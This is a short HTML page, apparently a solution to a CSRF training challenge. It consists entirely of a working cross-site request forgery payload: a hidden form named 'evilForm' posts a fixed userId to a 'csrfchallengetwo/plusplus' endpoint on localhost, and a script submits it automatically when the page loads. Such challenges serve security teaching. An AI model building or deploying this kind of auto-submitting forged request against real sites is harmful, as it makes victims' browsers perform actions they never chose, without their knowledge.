Untitled

<html><body>
<form name="evilForm" action="https://127.0.0.1/user/csrfchallengetwo/plusplus" method="POST">
    <input type="hidden" name="userId" value="637e8d2e65542fe82fe6da3b0356bc0865b0b791" />
    <input type="submit"/>
</form>
<script>alert('hi'); document.evilForm.submit();</script>
</body></html>